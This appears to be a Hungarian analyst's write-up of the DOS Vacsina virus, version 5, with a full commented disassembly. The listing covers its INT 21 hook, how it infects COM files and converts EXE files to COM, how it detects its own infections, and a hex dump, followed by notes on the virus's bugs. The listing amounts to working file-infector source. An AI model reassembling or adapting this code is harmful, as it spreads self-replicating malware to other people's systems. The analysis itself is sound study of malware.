*************************** * A Vacsina 5-s verzija * *************************** A vrus a memriban val elhelyezkedse s CS-e szerint van listzva. A vrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by te. Nem zenl, semmi krt nem tesz. (Csak a fileok idejt nem lltja vissza. ) A fileokat a 4B DOS funkci meghvsakor fertzi meg. Egy file fertzttsgt az utols 8 bytebl llaptja meg. Bvebb lerst lsd ott. Kirtsa is ez alapjn trtnhet. 1206D-nl hosszabb,62867D-nl rvidebb,JMP-pal kezdd COM fileokat, valamint a 64947D-nl rvidebb EXE fileokat fertzi.A COM fileokat paragrafushatrra kerekti, majd a lejjebb l that formban az egsz vrust a memrialer blokkjval egytt a filehoz msolja. Fertzs ut n egy bip hangot hallat. A fertzs idejre egy VACSINA nev filet megnyit, de semmit sem csinl vele. Futtatskor az eredeti 3 byteot nem rja vissza, hanem direkt oda ugrik, ahova a file elei J MP mutatott. EXE filehoz, ha a headerje stimmel, 0039-tl 0084 byteot fz (nincs kerekts). Ez a rsz semmit sem csinl, csak futtatja az eredeti EXE-t. Clja, hogy EXE-bl COM-ot csinljon ,gy a vrus ksbb mr megfertzheti.rdekes,hogy majdnem ugyanezt a kdsorozatot talltam tbb ere deti MS-DOS 3.10-s fileon (DEBUG,PRINT,...). Igy a vrusr ezt a rszt (az EXE-k reloklst) inne n vette. Feltte- lezem, hogy van egy olyan EXE2BIN program, ami nem reloklhat EXE-ket is COM-m alakt. Innen szrmazhat ez a kdrszlet. Azt, hogy mr a memriban van-e a Vacsina a 0000:00C5-n ehelyezett 397F azonos tszbl llapitja meg. 0000:00C7-re helyezi a vrus verziszmt. FFF0 MLB DB 4D ;A vrus egy kln memriablokkban helyezkedik el. FFF1 MLB_GAZDA DW ? ;Furcsa mdon ezt is "cipeli" magval FFF3 MLB_HOSSZ DW ? ;Memriablokk hossza paragrafusokban FFF5 DB 0B DUP ? ;--------------------------------------------------------------- ; Vltozk ;--------------------------------------------------------------- 0000 ERE_INT21 DD ? ;INT 21 eredeti cme 0004 ERE_INT24 DD ? ;INT 24 eredeti cme 0008 F_ATTR DW ? ;File eredeti attributtuma 000A HANDLE DW ? ;File handle 000C BUFFER DB 8 DUP (?) ;8 byte beffer ; Egy szabvnyos FCB 0014 FCB DB 0 ;Aktulis drive 0015 DB 'VACSINA ' ;File nv 0020 DW ? ;Kurrens blokk 0022 DW ? ;Rekordhossz 0024 DD ? ;File hossz 0028 DW ? ;Dtum 002A DW ? ;Id 002C DB 8 DUP (?) ;Lefoglalt 0034 DB ? ;Rekordszm a blokkban 0035 DD ? ;Random rekord ;------------------------------------------------------------------ ;EXE filehoz csak az innentl kezdd 0084 (132D) byteot rja hozz ;------------------------------------------------------------------ 0039 DB ' ' ;20 db SPC ORG 0045 ;tfeds 0045-004C-ig 0045 KEZD_IP DW ? ;ip kezdeti rtke ez lesz 0047 KEZD_CS DW ? ;cs kezdeti rtke ez lesz 0049 KEZD_SP DW ? ;sp kezdeti rtke ez lesz 004B KEZD_SS DW ? ;ss kezdeti rtke ez lesz ;--------------------------------------------------------------- ; Belpsi pont eredetileg EXE filenl ;--------------------------------------------------------------- ;Ezzel a rsszel ri el, hogy egy EXE file COM formtum legyen s lehessen fertzni 004D E80000 CALL 0050 0050 5B * POP BX ;bx=0050 0051 50 PUSH AX 0052 8CC0 MOV AX,ES 0054 051000 ADD AX,0010 ;ax a program leend elejre mutat 0057 8B0E0E01 MOV CX,[010E] ;Stack tvolsg 005B 03C8 ADD CX,AX ;Mi lesz ss kezdeti rtke 005D 894FFB MOV [BX-05],CX ;KEZD_SS (004B) 0060 8B0E1601 MOV CX,[0116] ;Kdterlet tvolsga 0064 03C8 ADD CX,AX 0066 894FF7 MOV [BX-09],CX ;KEZD_CS (0047) 0069 8B0E1001 MOV CX,[0110] ;sp kezdeti rtke 006D 894FF9 MOV [BX-07],CX ;KEZD_SP (0049) 0070 8B0E1401 MOV CX,[0114] ;ip kezdeti rtke 0074 894FF5 MOV [BX-0B],CX ;KEZD_IP (0045) 0077 8B3E1801 MOV DI,[0118] ;Els reklokcis bejegyzs 007B 8B160801 MOV DX,[0108] ;Header hossza paragrafusban 007F B104 MOV CL,04 0081 D3E2 SHL DX,CL ;Header hossza byteokban 0083 8B0E0601 MOV CX,[0106] ;Relokcis bejegyzsek szma 0087 E317 JCXZ 00A0 ;Ugrs, ha nincs mit reloklni ; Relokls ciklusa 0089 26 * ES: 008A C5B50001 LDS SI,[DI+0100] ;Hol kell reloklni 008E 83C704 ADD DI,+04 ;Kvetkez relokcis bejegyzs 0091 8CDD MOV BP,DS 0093 26 ES: 0094 032E0801 ADD BP,[0108] ;Header hossza paragrafusban 0098 03E8 ADD BP,AX ;ax=program (file) valdi kezdete 009A 8EDD MOV DS,BP ;Itt kell reloklni 009C 0104 ADD [SI],AX ;Relokci 009E E2E9 LOOP 0089 ; Az treloklt programot a helyre rakja 00A0 0E * PUSH CS 00A1 1F POP DS ;ds=cs 00A2 BF0001 MOV DI,0100 00A5 8BF2 MOV SI,DX ;dx=Header hossza byteokban 00A7 81C60001 ADD SI,0100 00AB 8BCB MOV CX,BX ;Mennyi byteot kell mozgatni ? (Ez e gy kicsit tbb) 00AD 2BCE SUB CX,SI 00AF F3 REPZ 00B0 A4 MOVSB ; Az eredeti EXE program futtatsa 00B1 58 POP AX ;ax eredeti rtke 00B2 FA CLI 00B3 8E57FB MOV SS,[BX-05] ;KEZD_SS 00B6 8B67F9 MOV SP,[BX-07] ;KEZD_SP 00B9 FB STI 00BA FF6FF5 JMP FAR [BX-0B] ;KEZD_IP, KEZD_CS ;--------------------------------------------------------------- ; INT 24 (DOS kritikus hibakezelje) ;--------------------------------------------------------------- 00BD B003 * MOV AL,03 ;DOS hibt jelezzen 00BF CF IRET ;--------------------------------------------------------------- ; INT 21 (DOS belpsi pontja) ;--------------------------------------------------------------- ; Csak a 4B00 (EXECUTE) funkcinl avatkozik kzbe 00C0 9C * PUSHF 00C1 3D004B CMP AX,4B00 00C4 7406 JZ 00CC 00C6 9D POPF 00C7 2E CS: 00C8 FF2E0000 JMP FAR [0000] ; A DOS 4B00 alfunkcija 00CC 06 * PUSH ES ;bp+10 00CD 1E PUSH DS ;bp+0E 00CE 55 PUSH BP ;bp+0C 00CF 57 PUSH DI ;bp+0A 00D0 56 PUSH SI ;bp+08 00D1 52 PUSH DX ;bp+06 00D2 51 PUSH CX ;bp+04 00D3 53 PUSH BX ;bp+02 00D4 50 PUSH AX ;bp+00 00D5 8BEC MOV BP,SP ; INT 24 lekrdezse, trsa 00D7 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx) 00DA CD21 INT 21 00DC 2E CS: 00DD 8C060600 MOV [0006],ES ;ERE_INT24+2 00E1 2E CS: 00E2 891E0400 MOV [0004],BX ;ERE_INT24 00E6 0E PUSH CS 00E7 1F POP DS 00E8 BABD00 MOV DX,00BD 00EB B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) 00EE CD21 INT 21 ; A VACSINA nev file megnyitsa (valsznleg a vrus nyomonkvetse miatt ) 00F0 0E PUSH CS ;Megj.:felesleges 00F1 1F POP DS 00F2 BA1400 MOV DX,0014 00F5 B40F MOV AH,0F ;OPEN_FCB (ds:dx) 00F7 CD21 INT 21 ; File eredeti attributtumnak lekrdezse, R/O bit trlse 00F9 B80043 MOV AX,4300 ;GET_FILE_ATTR (cx) 00FC 8E5E0E MOV DS,[BP+0E] 00FF 8B5606 MOV DX,[BP+06] 0102 CD21 INT 21 0104 7303 JNB 0109 0106 E9DA01 JMP 02E3 ;Hibnl 0109 2E * CS: 010A 890E0800 MOV [0008],CX ;F_ATTR 010E B80143 MOV AX,4301 ;SET_FILE_ATTR (cx) 0111 80E1FE AND CL,FE ;R/O bit trlse 0114 CD21 INT 21 0116 7303 JNB 011B 0118 E9C801 JMP 02E3 ;Hibnl ; Clbavett file megnyitsa ; HIBA !!! A file eredeti idejt nem krdezi le s nem lltja vissza. 011B B8023D * MOV AX,3D02 ;OPEN_HANDLE (dx:dx) 011E 8E5E0E MOV DS,[BP+0E] 0121 8B5606 MOV DX,[BP+06] 0124 CD21 INT 21 0126 7303 JNB 012B 0128 E9A801 JMP 02D3 ;Hibnl 012B 2E * CS: 012C A30A00 MOV [000A],AX ;HANDLE 012F 8BD8 MOV BX,AX ; File els 6 bytejnak beolvassa a BUFFER-be 0131 0E PUSH CS 0132 1F POP DS 0133 BA0C00 MOV DX,000C ;offset BUFFER 0136 B90600 MOV CX,0006 ;6 byte olvassa 0139 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) 013B CD21 INT 21 013D 7219 JB 0158 ;Hibnl 013F 3D0600 CMP AX,0006 0142 7514 JNZ 0158 ; EXE-e a kiszemelt file ? 0144 2E CS: 0145 813E0C004D5A CMP WORD PTR [000C],5A4D;EXE file-e 014B 7503 JNZ 0150 014D E9B501 JMP 0305 ;--------------------------------------------------------------- ; COM file ;--------------------------------------------------------------- 0150 2E * CS: 0151 803E0C00E9 CMP BYTE PTR [000C],E9 ;Csak akkor fertzzk, ha JMP-pal kez ddik 0156 7403 JZ 015B ; Segdugrs hibnl 0158 E96F01 * JMP 02CA ; 1206D < file hossz < 62867D 015B B80242 * MOV AX,4202 ;File vgre lls 015E B90000 MOV CX,0000 0161 8BD1 MOV DX,CX 0163 2E CS: 0164 8B1E0A00 MOV BX,[000A] ;HANDLE 0168 CD21 INT 21 ;dx:ax=file hossz 016A 72EC JB 0158 ;Hibnl 016C 83FA00 CMP DX,+00 016F 75E7 JNZ 0158 0171 3DB604 CMP AX,04B6 0174 76E2 JBE 0158 0176 3D93F5 CMP AX,F593 0179 73DD JNB 0158 ; File adatainak eltrolsa 017B 2E CS: 017C A39E04 MOV [049E],AX ;ERE_HOSSZ 017F 2E CS: 0180 A10D00 MOV AX,[000D] ;File 2.,3. byteja 0183 050301 ADD AX,0103 ;+ 0103 0186 2E CS: 0187 A3A004 MOV [04A0],AX ;ERE_2_3 ; File utols 8 bytejnak beolvassa 018A B80242 MOV AX,4202 ;File vge-8-dik pozcira 018D B9FFFF MOV CX,FFFF 0190 BAF8FF MOV DX,FFF8 0193 2E CS: 0194 8B1E0A00 MOV BX,[000A] ;HANDLE 0198 CD21 INT 21 019A 72BC JB 0158 ;Hibnl 019C 2E CS: 019D 8B1E0A00 MOV BX,[000A] ;HANDLE 01A1 0E PUSH CS 01A2 1F POP DS 01A3 BA0C00 MOV DX,000C ;offset BUFFER 01A6 B90800 MOV CX,0008 ;8 byte olvassa 01A9 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) 01AB CD21 INT 21 01AD 72A9 JB 0158 ;Hibnl 01AF 3D0800 CMP AX,0008 01B2 75A4 JNZ 0158 ;Hibnl ; Fertztt-e mr a file 01B4 2E CS: 01B5 813E1000F47A CMP WORD PTR [0010],7AF4;Azonostsz 01BB 7577 JNZ 0234 ;Mg nem ferztt 01BD 2E CS: 01BE 833E120005 CMP WORD PTR [0012],+05 ;Verziszm 01C3 90 NOP 01C4 7392 JNB 0158 ;Nem fertzzk ;--------------------------------------------------------------- ; Egy korbbi Vacsina mr megfertzte (azt kirtja) ;--------------------------------------------------------------- ; Fertztt file eredeti adatai 01C6 2E CS: 01C7 A10C00 MOV AX,[000C] ;ERE_HOSSZ 01CA 2E CS: 01CB A39E04 MOV [049E],AX ;ERE_HOSSZ 01CE 2E CS: 01CF A10E00 MOV AX,[000E] ;ERE_2_3 01D2 2E CS: 01D3 A3A004 MOV [04A0],AX ;ERE_2_3 01D6 2D0301 SUB AX,0103 01D9 2E CS: 01DA A30C00 MOV [000C],AX ;Eredeti 2.,3. byteja a filenak ; File eredeti 2.,3. bytejnak visszarsa 01DD B80042 MOV AX,4200 ;File 2. bytejra ll 01E0 B90000 MOV CX,0000 01E3 BA0100 MOV DX,0001 01E6 2E CS: 01E7 8B1E0A00 MOV BX,[000A] ;HANDLE 01EB CD21 INT 21 01ED 725F JB 024E ;Hibnl 01EF B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) 01F1 0E PUSH CS 01F2 1F POP DS 01F3 BA0C00 MOV DX,000C ;offset BUFFER 01F6 B90200 MOV CX,0002 ;2 byte rsa 01F9 CD21 INT 21 01FB 7251 JB 024E ;Hibnl 01FD 3D0200 CMP AX,0002 0200 754C JNZ 024E ;Hibnl ; Directory bejegyzs aktualizlsa 0202 2E CS: 0203 8B1E0A00 MOV BX,[000A] ;HANDLE 0207 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) 0209 CD21 INT 21 020B 7208 JB 0215 ;Hibnl 020D 8BD8 MOV BX,AX 020F B43E MOV AH,3E ;CLOSE_HANDLE (bx) 0211 CD21 INT 21 0213 7239 JB 024E ;Hibnl ; File eredeti mretre vgsa 0215 B80042 MOV AX,4200 ;File eredeti vgre ll 0218 B90000 MOV CX,0000 021B 2E CS: 021C 8B169E04 MOV DX,[049E] ;ERE_HOSSZ 0220 2E CS: 0221 8B1E0A00 MOV BX,[000A] ;HANDLE 0225 CD21 INT 21 0227 7225 JB 024E ;Hibnl 0229 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) 022B 0E PUSH CS 022C 1F POP DS 022D B90000 MOV CX,0000 ;Csonkols 0230 CD21 INT 21 0232 721A JB 024E ;Hibnl ; COM file megfertzse ; Filehossz kerektse paragrafushatrra 0234 B80042 * MOV AX,4200 0237 B90000 MOV CX,0000 023A 2E CS: 023B 8B169E04 MOV DX,[049E] ;ERE_HOSSZ 023F 83C20F ADD DX,+0F 0242 83E2F0 AND DX,-10 ;Kerekts 0245 2E CS: 0246 8B1E0A00 MOV BX,[000A] ;HANDLE 024A CD21 INT 21 024C 7303 JNB 0251 ; Segdugrs hibnl 024E EB7A * JMP 02CA ;Hibnl 0250 90 NOP ; A vrus memrialer blokkjval egytt hozzmsolja magt a filehoz 0251 2E CS: 0252 8B1E0A00 MOV BX,[000A] ;HANDLE 0256 8CCA MOV DX,CS 0258 4A DEC DX 0259 8EDA MOV DS,DX ;ds=cs-1 (mem.ler blokkra mutat) 025B BA0000 MOV DX,0000 025E B9B604 MOV CX,04B6 ;Vrus hossza (1206) 0261 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) 0263 CD21 INT 21 0265 72E7 JB 024E ;Hibnl 0267 3DB604 CMP AX,04B6 026A 75E2 JNZ 024E ;Hibnl ; Directory bejegyzs aktualizlsa 026C 2E CS: 026D 8B1E0A00 MOV BX,[000A] ;HANDLE 0271 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) 0273 CD21 INT 21 0275 7208 JB 027F ;Hibnl 0277 8BD8 MOV BX,AX 0279 B43E MOV AH,3E ;CLOSE_HANDLE (bx) 027B CD21 INT 21 027D 72CF JB 024E ;Hibnl ; File leend els 3 bytejnak kiszmtsa 027F 2E CS: 0280 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja 0285 2E CS: 0286 8B169E04 MOV DX,[049E] ;ERE_HOSSZ 028A 83C20F ADD DX,+0F 028D 83E2F0 AND DX,-10 ;Kerekts 0290 83EA03 SUB DX,+03 ;-3 a JMP miatt 0293 81C2AC03 ADD DX,03AC ;Belpsi pont eltolsa a file vgh ez kpest 0297 2E CS: 0298 89160D00 MOV [000D],DX ;JMP operandusa ; File els 3 bytejnak trsa 029C B80042 MOV AX,4200 ;File elejre 029F B90000 MOV CX,0000 02A2 8BD1 MOV DX,CX 02A4 2E CS: 02A5 8B1E0A00 MOV BX,[000A] ;HANDLE 02A9 CD21 INT 21 02AB 72A1 JB 024E ;Hibnl 02AD 2E CS: 02AE 8B1E0A00 MOV BX,[000A] ;HANDLE 02B2 0E PUSH CS 02B3 1F POP DS 02B4 BA0C00 MOV DX,000C ;offset BEFFER 02B7 B90300 MOV CX,0003 ;3 byte rsa 02BA B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) 02BC CD21 INT 21 02BE 728E JB 024E ;Hibnl 02C0 3D0300 CMP AX,0003 02C3 7589 JNZ 024E ;Hibnl ; Egy BELL kiadsa (Valsznleg ez a verzi mg tesztpldny) 02C5 B8070E MOV AX,0E07 ;WRITE_TELETYPE 02C8 CD10 INT 10 ; File lezrsa 02CA B43E * MOV AH,3E ;CLOSE_HANDLE (bx) 02CC 2E CS: 02CD 8B1E0A00 MOV BX,[000A] ;HANDLE 02D1 CD21 INT 21 ; File eredeti attributtumnak visszalltsa 02D3 B80143 * MOV AX,4301 ;SET_FILE_ATTR (cx) 02D6 8E5E0E MOV DS,[BP+0E] ;File nevre mutat 02D9 8B5606 MOV DX,[BP+06] 02DC 2E CS: 02DD 8B0E0800 MOV CX,[0008] ;F_ATTR 02E1 CD21 INT 21 ; A VACSINA nev file lezrsa (j dtumot kap, semmi ms) 02E3 0E * PUSH CS 02E4 1F POP DS 02E5 BA1400 MOV DX,0014 ;FCB 02E8 B410 MOV AH,10 ;CLOSE_FCB 02EA CD21 INT 21 ; INT 24 visszarsa, eredeti DOS funkci hvsa 02EC B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) 02EF 2E CS: 02F0 C5160400 LDS DX,[0004] ;ERE_INT24 02F4 CD21 INT 21 02F6 58 POP AX 02F7 5B POP BX 02F8 59 POP CX 02F9 5A POP DX 02FA 5E POP SI 02FB 5F POP DI 02FC 5D POP BP 02FD 1F POP DS 02FE 07 POP ES 02FF 9D POPF 0300 2E CS: 0301 FF2E0000 JMP FAR [0000] ;ERE_INT21 ;--------------------------------------------------------------- ; EXE file COM-m alktsa ;--------------------------------------------------------------- ; file hossz < 64947D 0305 B80242 * MOV AX,4202 ;File vgre ll 0308 B90000 MOV CX,0000 030B 8BD1 MOV DX,CX 030D 2E CS: 030E 8B1E0A00 MOV BX,[000A] ;HANDLE 0312 CD21 INT 21 0314 72B4 JB 02CA ;Hibnl 0316 83FA00 CMP DX,+00 0319 75AF JNZ 02CA 031B 3DB3FD CMP AX,FDB3 ;64947D 031E 73AA JNB 02CA ; Stimmel-e az EXE headerje? 0320 2E CS: 0321 A39E04 MOV [049E],AX ;ERE_HOSSZ 0324 2E CS: 0325 A11000 MOV AX,[0010] ;Filehossz lapokban 0328 48 DEC AX 0329 B109 MOV CL,09 ;* 512D 032B D3E0 SHL AX,CL 032D 2E CS: 032E 03060E00 ADD AX,[000E] ;+a maradk 0332 2E CS: 0333 3B069E04 CMP AX,[049E] ;Egyezik-e a hosszal? 0337 7591 JNZ 02CA ;Ha nem ; A vrus egy rszt hozzfzi az EXE-hez (Igy COM lehet majd az EXE) 0339 2E CS: 033A 8B1E0A00 MOV BX,[000A] ;HANDLE 033E B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) 0340 0E PUSH CS 0341 1F POP DS 0342 BA3900 MOV DX,0039 ;Innentl 0345 B98400 MOV CX,0084 ;132D byte kirsa 0348 CD21 INT 21 034A 72C8 JB 0314 ;Hibnl 034C 3D8400 CMP AX,0084 034F 75E6 JNZ 0337 ;Hibnl ; Directory bejegyzs aktualizlsa 0351 2E CS: 0352 8B1E0A00 MOV BX,[000A] ;HANDLE 0356 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) 0358 CD21 INT 21 035A 7208 JB 0364 ;Hibnl 035C 8BD8 MOV BX,AX 035E B43E MOV AH,3E ;CLOSE_HANDLE (bx) 0360 CD21 INT 21 0362 72B0 JB 0314 ;Hibnl ; File eljre 0364 B80042 MOV AX,4200 0367 B90000 MOV CX,0000 036A 8BD1 MOV DX,CX 036C 2E CS: 036D 8B1E0A00 MOV BX,[000A] ;HANDLE 0371 CD21 INT 21 0373 729F JB 0314 ;Hibnl ; Leend els 3 byte kiszmtsa 0375 2E CS: 0376 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja 037B 2E CS: 037C A19E04 MOV AX,[049E] ;ERE_HOSSZ 037F 051100 ADD AX,0011 ;0039+0011+3=004D a belpsi pont 0382 2E CS: 0383 A30D00 MOV [000D],AX ;JMP operandusa ; Az els 3 byte fellrsa 0386 2E CS: 0387 8B1E0A00 MOV BX,[000A] ;HANDLE 038B B440 MOV AH,40 ;WRITE_HANDLE 038D 0E PUSH CS 038E 1F POP DS 038F BA0C00 MOV DX,000C ;offset BUFFER 0392 B90300 MOV CX,0003 ;3 byte rsa 0395 CD21 INT 21 ;COM tpus lesz a file 0397 E930FF JMP 02CA ;Vge ;Megj.:Ha itt egy JMP 0150 llna egybl fertzhetne EXE-t ;--------------------------------------------------------------- ; Vltoz (ax eredeti rtke) ;--------------------------------------------------------------- 039A ERE_AX DW ? ;--------------------------------------------------------------- ; Belpsi pont COM programnl ;--------------------------------------------------------------- 039C E80000 * CALL 039F 039F 5B * POP BX ;bx=039F 03A0 2E CS: 03A1 8947FB MOV [BX-05],AX ;ERE_AX (039A) ; Annak eldntse, hogy a memriban ven-e mr Vacsina 03A4 B80000 MOV AX,0000 03A7 8EC0 MOV ES,AX 03A9 26 ES: 03AA A1C500 MOV AX,[00C5] ;INT 31 vektornak 2.,3. byteja 03AD 3D7F39 CMP AX,397F ;Van-e mr Vacsina a memriban ? 03B0 7508 JNZ 03BA ;Ugrs, ha mg nem. 03B2 26 ES: 03B3 A0C700 MOV AL,[00C7] ;Memriban lv vrus verziszma 03B6 3C05 CMP AL,05 ;Ennek a vrusnak a verziszma 03B8 7332 JNB 03EC ;Ugrs, ha jjabb vagy ez a verzi ; Van-e elg szadab memria 03BA 8BD4 * MOV DX,SP 03BC 2BD3 SUB DX,BX 03BE 81EA6C0B SUB DX,0B6C 03C2 7228 JB 03EC ;Ugrs, ha nincs elg szabad memria ;A vrus kln memriablokkba fog kerlni, aminek ler blokkja a vrus el tt helyezkedik el. ;Ennek a memriablokknak hosszt lltja itt be. 03C4 BAC504 MOV DX,04C5 ;Vrus ltal ignyelt memria + 0F 03C7 B104 MOV CL,04 03C9 D3EA SHR DX,CL ;DIV 10 03CB 2E CS: 03CC 899754FC MOV [BX+FC54],DX ;MLB_HOSSZ (FFF3) Memrialer blokk hossza ; A vrus htrbb msolja magt (004C paragrafussal) 03D0 8CD9 MOV CX,DS 03D2 03D1 ADD DX,CX 03D4 8EC2 MOV ES,DX ;Ide kell htrbbmozgatni mindent 03D6 8BF3 MOV SI,BX 03D8 81C651FC ADD SI,FC51 ;si=FFF0 (vrus a hozz csatolt mem rialer blokkal) 03DC 8BFE MOV DI,SI ;Ugyanilyen offset helyre msol 03DE B9B604 MOV CX,04B6 ;Vrus hossza 03E1 FC CLD 03E2 F3 REPZ 03E3 A4 MOVSB ; A vezrls tkerl a "msolat" vrusra 03E4 06 PUSH ES 03E5 E80300 CALL 03EB 03E8 EB13 JMP 03FD ;es:03FD-n folytatdik 03EA 90 NOP 03EB CB * RETF ; Az eredeti program futtatsa 03EC 8CC8 * MOV AX,CS 03EE 8ED8 MOV DS,AX ;Szegmensregiszterek belltsa 03F0 8EC0 MOV ES,AX 03F2 8ED0 MOV SS,AX 03F4 2E CS: 03F5 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) 03F8 2E CS: 03F9 FFA70101 JMP [BX+0101] ;ERE_2_3 (04A0) Hol kezddtt az ered eti program? ; Ide kerl a vezrls a mr lemsolt vrusban (03E8-rl) ; Az eredeti programot, PSP-jt, mem.ler blokkjt is htrbb mozgatjuk 03FD BE0000 * MOV SI,0000 ;Megj.: felesleges 0400 BF0000 MOV DI,0000 0403 8BCB MOV CX,BX ;bx=039F 0405 81C161FC ADD CX,FC61 ;cx=0000 (eredeti program+PSP+mem.le r blokk hossza) 0409 8CC2 MOV DX,ES 040B 4A DEC DX 040C 8EC2 MOV ES,DX ;szegmens--, mert a mem.ler blokkot is msoljuk 040E 8CDA MOV DX,DS 0410 4A DEC DX 0411 8EDA MOV DS,DX 0413 03F1 ADD SI,CX 0415 4E DEC SI ;Visszafel msolunk azrt kell 0416 8BFE MOV DI,SI 0418 FD STD 0419 F3 REPZ 041A A4 MOVSB 041B FC CLD ; Htrbbmozgats dokumentlsa 041C 2E CS: 041D 8B9754FC MOV DX,[BX+FC54] ;MLB_HOSSZ=4C Virus ltal lefoglalt m emriablokk hossza 0421 26 ES: 0422 29160300 SUB [0003],DX ;Az eredeti program mem.blokkjnak cs kkentse 0426 26 ES: 0427 8C0E0100 MOV [0001],CS ;Uj gazda ; Vrus visszamsolsa a szabadd tett helyre 042B BF0000 MOV DI,0000 042E 8BF3 MOV SI,BX ;bx=039F 0430 81C651FC ADD SI,FC51 ;FFF0 Vrus kezdete (mem.ler blokk al egytt) 0434 B9B604 MOV CX,04B6 0437 1E PUSH DS 0438 07 POP ES ;Vsszamsolunk 0439 0E PUSH CS 043A 1F POP DS ;es=ds ; ds=cs 043B F3 REPZ 043C A4 MOVSB ; Egyb teendk (az j PSP miatt) 043D 26 ES: 043E 832E030001 SUB WORD PTR [0003],+01 ;A mem.ler blokk hosszt nem kell s zmolni! 0443 53 PUSH BX 0444 8CCB MOV BX,CS 0446 B450 MOV AH,50 ;SET_PSP (bx) 0448 CD21 INT 21 044A 5B POP BX 044B 2E CS: 044C 8C0E3600 MOV [0036],CS ;PSP-n bell a gazda mehatrozsa 0450 2E CS: 0451 8B162C00 MOV DX,[002C] ;Environment szegmense 0455 4A DEC DX 0456 8EC2 MOV ES,DX ;Environment mem.ler blokkja 0458 26 ES: 0459 8C0E0100 MOV [0001],CS ;Uj gazda ; INT 21 lekrdezse s trsa 045D B82135 MOV AX,3521 ;GET_INT_VECT (es:bx) 0460 53 PUSH BX 0461 CD21 INT 21 0463 36 SS: 0464 8C060200 MOV [0002],ES ;ERE_INT21+2 0468 36 SS: 0469 891E0000 MOV [0000],BX ;ERE_INT21 046D 5B POP BX 046E B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx) 0471 8CD2 MOV DX,SS 0473 8EDA MOV DS,DX 0475 BAC000 MOV DX,00C0 ;00C0-tl lesz az INT 21 rutin 0478 CD21 INT 21 ; "A vrus mr a memriban van" jelzs 047A B80000 MOV AX,0000 047D 8EC0 MOV ES,AX 047F 26 ES: 0480 C706C5007F39 MOV WORD PTR [00C5],397F;Azonost sz 0486 26 ES: 0487 C606C70005 MOV BYTE PTR [00C7],05 ;Vrus verziszma ; DTA belltsa (rosszul!) 048C 8CC8 MOV AX,CS 048E 8ED8 MOV DS,AX 0490 B41A MOV AH,1A ;SET_DTA_ADDRESS (ds:dx) 0492 BA5000 MOV DX,0050 ;HIBA !!! 0080 kellene 0495 CD21 INT 21 ; Az eredeti program futtatsra ugrs 0497 2E CS: 0498 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) Megj.:Teljesen felesle ges 049B E94EFF JMP 03EC ;--------------------------------------------------------------- ; A file utols 8 byteja tartalmazza a fontos informcikat ;--------------------------------------------------------------- 049E ERE_HOSSZ DW ? ;A file eredeti hossza 04A0 ERE_2_3 DW ? ;A file eredeti 2.,3. byteja+0103 04A2 AZONOSITO DW 7AF4 ;Azonostsz. Ez alapjn ismeri fel a fertz st 04A4 VERZIOSZAM DB 5 ;Vrus verziszma 04A5 ERE_1 DB 0 ;Mg nem hasznlt (az els byte mindig E9) Vrus elejnek hexa dump-ja: cs-1:0000 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ cs-1:0010 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! cs-1:0020 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA cs-1:0030 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. cs-1:0040 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ cs-1:0050 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... Megjegyzsek: - A file eredeti idejt nem kredezi le, s nem lltja vissza. - DTA-t rosszul lltja be. Ez a gyermekbetegsg a ksbbi verzikban is megmara dt. - rdekes, hogy az EXE kdjt az 5A4D-t itt csak gy hasznlja, mg a ksbbi ve rzik a 4D5A-t is hasznljk. - EXE-k COM-m alaktsa utn nem tudom, hogy mirt nem mindjrt a COM megfertz se rszre ugrik. - Jpr felesleges utasts van a kdban, ami mg a ksbbi verzikban is megmar adt. - A vrus egsz mkdse arra utal, hogy csak kisrletezsrl van sz.